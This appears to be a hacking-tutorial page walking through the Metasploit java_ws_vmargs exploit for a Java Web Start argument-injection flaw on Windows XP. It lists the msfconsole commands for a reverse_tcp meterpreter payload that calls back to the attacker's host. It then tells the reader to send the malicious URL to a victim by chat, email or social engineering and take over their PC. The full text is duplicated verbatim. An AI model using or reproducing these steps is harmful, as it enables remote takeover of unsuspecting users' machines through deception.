Sun Java Web Start Plugin Command Line Argument Injection
This module exploits a flaw in the Web Start component of the Sun Java Runtime Environment. The arguments passed to Java Web Start are not properly validated, allowing injection of arbitrary arguments to the JVM. By utilizing the lesser known -J option, an attacker can take advantage of the -XXaltjvm option, as discussed previously by Ruben Santamarta. This method allows an attacker to execute arbitrary code in the context of an unsuspecting browser user. In order for this module to work, it must be run as root on a server that does not serve SMB. Additionally, the target host must have the Web Client service (WebDAV Mini-Redirector) enabled
Exploit Targets
0 – Automatic (default)
1 – Java Runtime on Windows x86
Requirement
Attacker: metasploit
Victim PC: Windows XP
Open backtrack terminal type
msfconsole
use exploit/windows/browser/java_ws_vmargs
Msf exploit(java_ws_vmargs)>set payload windows/meterpreter/reverse_tcp
Msf exploit (java_ws_vmargs)>set lhost 192.168.1.3(IP of Local Host)
Msf exploit (java_ws_vmargs)>set srvhost 192.168.1.3(This must be an address on the local machine)
Msf exploit (java_ws_vmargs)>set srvport 80
Msf exploit (java_ws_vmargs)>set uripath /(The Url to use for this exploit)
Msf exploit (java_ws_vmargs)>exploit
Now an URL you should give to your victim http://192.168.1.3/
Send the link of the server to the victim via chat or email or any social engineering technique.
Now you have access to the victims PC. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“
This module exploits a flaw in the Web Start component of the Sun Java Runtime Environment. The arguments passed to Java Web Start are not properly validated, allowing injection of arbitrary arguments to the JVM. By utilizing the lesser known -J option, an attacker can take advantage of the -XXaltjvm option, as discussed previously by Ruben Santamarta. This method allows an attacker to execute arbitrary code in the context of an unsuspecting browser user. In order for this module to work, it must be run as root on a server that does not serve SMB. Additionally, the target host must have the Web Client service (WebDAV Mini-Redirector) enabled
Exploit Targets
0 – Automatic (default)
1 – Java Runtime on Windows x86
Requirement
Attacker: metasploit
Victim PC: Windows XP
Open backtrack terminal type
msfconsole
use exploit/windows/browser/java_ws_vmargs
Msf exploit(java_ws_vmargs)>set payload windows/meterpreter/reverse_tcp
Msf exploit (java_ws_vmargs)>set lhost 192.168.1.3(IP of Local Host)
Msf exploit (java_ws_vmargs)>set srvhost 192.168.1.3(This must be an address on the local machine)
Msf exploit (java_ws_vmargs)>set srvport 80
Msf exploit (java_ws_vmargs)>set uripath /(The Url to use for this exploit)
Msf exploit (java_ws_vmargs)>exploit
Now an URL you should give to your victim http://192.168.1.3/
Send the link of the server to the victim via chat or email or any social engineering technique.
Now you have access to the victims PC. Use “sessions -l” and the Session number to connect to the session. And Now Type “sessions -i ID“
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